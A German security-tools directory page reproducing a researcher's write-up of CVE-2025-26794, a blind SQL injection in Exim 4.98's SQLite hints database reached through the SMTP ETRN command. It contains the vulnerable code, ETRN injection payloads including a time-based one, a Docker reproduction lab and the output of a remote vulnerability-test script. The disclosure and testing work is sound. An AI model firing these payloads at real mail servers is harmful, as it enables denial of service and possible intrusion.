Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-26794 — CVE-2025-26794: Blinde SQL-Injection in Exim 4.98 (SQLite DBM) – Exploit-Writeup | Kitploit
Tools/GitHubGitHub/oscarbataille/cve-2025-26794
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheitLabs & Praxis
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: Blinde SQL-Injection in Exim 4.98 (SQLite DBM) – Exploit-Writeup

Repository anzeigen
15vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-26794: Blinde SQL-Injection in Exim 4.98 (SQLite-DBM) - Exploit-Writeup

Exim-Bericht: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

Ich habe diese Schwachstelle durch eine manuelle Code-Überprüfung entdeckt.

Details zur Schwachstelle:

Problem

Die SQL-Parameter werden, wenn SQLite als DBM verwendet wird, nicht ordnungsgemäß bereinigt. Dadurch kann ein entfernter Benutzer eigene SQLite-Abfragen erstellen.

Anforderungen:

  • Kompilieren Sie Exim mit "USE_SQLITE = yes". Dadurch wird SQLite als DataBase Manager (DBM) festgelegt.
  • Aktivieren Sie den ETRN-Befehl. Dazu müssen Sie "acl_smtp_etrn" in der Konfigurationsdatei setzen.

PoC

Einleitung

Exim verwendet eine interne Datenbank für die interne Schlüssel-Wert-Speicherung (genannt HintsDB), die verschiedene Backends unterstützt, die zur Build-Zeit festgelegt werden. Die neueste Ergänzung war SQLite. Sie wird verwendet, um Folgendes zu speichern:

  • TLS-Sitzungen
  • Informationen über Ratenbegrenzungen
  • Informationen über Wiederholungsversuche
  • Semaphore (mit enq_start()) für ETRN-Befehle und SMTP-Zustellung
  • Informationen über Parallelitätsgrenzen für Transporte
  • „Waiting-Datenbank" für E-Mail-Zustellungen, die von einem Transport zurückgestellt wurden
  • Für PIPECONNECT: Zwischenspeichern von EHLO-Antworten entfernter Server

Die betroffene Datei ist hintsdb.h. Sie wurde in den letzten Commits in eine separate Datei (hints_sqlite.h) verschoben. Nur die SQLite-Funktionen sind betroffen (Beispielfunktion: exim_s_dbp).

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]

Der Eingabeschlüssel wird nicht ordnungsgemäß maskiert. Wenn wir es also schaffen, den Schlüssel zu kontrollieren, können wir beliebigen SQLite-Code injizieren.

Ausnutzung

RFC1985 definiert den SMTP-ETRN-Befehl, „mit dem ein Client den Server bitten kann, die Verarbeitung seiner Mail-Warteschlangen für Nachrichten zu starten, die am Server für den Client-Rechner warten".

Er wird mit dem SMTP-Befehl ETRN #domain.com verwendet.

In Exim setzt der ETRN-Befehl einen Semaphor in der HintsDB, um zu vermeiden, dass mehrere ETRN-Befehle parallel ausgeführt werden. Dieser Semaphor wird durch die Funktion enq_start(keyname, value) implementiert, die einen neuen Eintrag in der Datenbank „misc" erstellt.

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

Zum Beispiel erstellt der SMTP-Befehl ETRN #test.com einen temporären DB-Eintrag in der SQLite-Datenbank „misc" mit dem Schlüssel „etrn-#test.com" und dem Wert 1.

Am Ende der Verarbeitung des ETRN-Befehls wird der DB-Eintrag entfernt:

root@kitploit:~
enq_end(etrn_serialize_key);

Da wir den Schlüssel kontrollieren, können wir mit dem folgenden SMTP-Befehl unseren eigenen SQL-Code injizieren:

root@kitploit:~
ETRN #',1); ## INSERT SQL HERE ##  /*

Da es keine Ausgabe gibt, können wir einen zeitbasierten SQLi-Payload senden, um diese Schwachstelle remote zu testen:

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

Auswirkungen

  • Ich konnte mit ATTACH DATABASE eine Verbindung zu anderen lokalen SQLite-Datenbanken herstellen (auf die der Exim-Benutzer Zugriff hat). Ich vermute, dass wir wahrscheinlich eine Race Condition in Exim ausnutzen könnten, um undefiniertes Verhalten auszulösen, indem wir uns in die anderen verwendeten Datenbanken einmischen. Das ist derzeit noch sehr hypothetisch.
  • Wir haben außerdem Zugriff auf die gesamte Angriffsfläche von SQLite. Wir könnten diesen Exploit mit einem SQLite-Exploit kombinieren, um RCE zu erreichen.

Einschränkungen der Ausnutzung:

  • Die Lookup-Typen dbm, dmbjz, dbmnz verwenden das konfigurierte DBM (in diesem Fall SQLite), was die Angriffsfläche erheblich vergrößern kann. Ich habe die Ausnutzung nicht getestet. Die Verwendung des dbm-Lookups, wenn SQLite als DBM festgelegt ist, scheint jedoch unwahrscheinlich.
  • Ich nehme an, es ist ziemlich selten, den Befehl ETRN zu aktivieren (und ziemlich alt). Ich konnte nirgendwo sonst im Code eine Stelle finden, an der Benutzereingaben zur Erstellung der Abfragezeichenfolge verwendet werden.
  • Ich nehme an, es ist ziemlich selten, SQLite-Unterstützung als DBM zu aktivieren, da sie sehr neu ist.
  • Ich nehme an, es ist auch ziemlich selten, SQLite als DBM zu verwenden, da es erst in der neuesten Exim-Version hinzugefügt wurde. Daher bezweifle ich, dass diese Ausnutzungsmethode in freier Wildbahn eingesetzt wurde. Es ist jedoch eine ernste Schwachstelle.

Das bedeutet, dass wir leicht einen DoS durchführen könnten (z. B. die Festplatte füllen), aber eine Eskalation zu Remote Code Execution würde mehr Arbeit erfordern, könnte aber möglich sein.

Reproduktion des Bugs

Hier ist ein lokales Docker-Lab, um diese Schwachstelle zu reproduzieren.

Exim erstellen und starten

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh baut das Image und meldet Sie im Container an.
  4. Führen Sie im Container bash start-exim.sh aus, um den Exim-Server zu starten.

Verbindung zum EXIM-Server herstellen

  1. Verbinden Sie sich mit Netcat: nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. Senden Sie den ETRN-Befehl: ETRN #'
  4. Prüfen Sie das Exim-Log auf diese Zeile: sqlite3_exec: near "', X'": syntax error

Testen eines Servers

Ich habe ein Skript test.py entwickelt, um diese Schwachstelle remote zu testen.

root@kitploit:~
python3 docker_lab/test.py <host>

Beispiel:

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
Tool herunterladen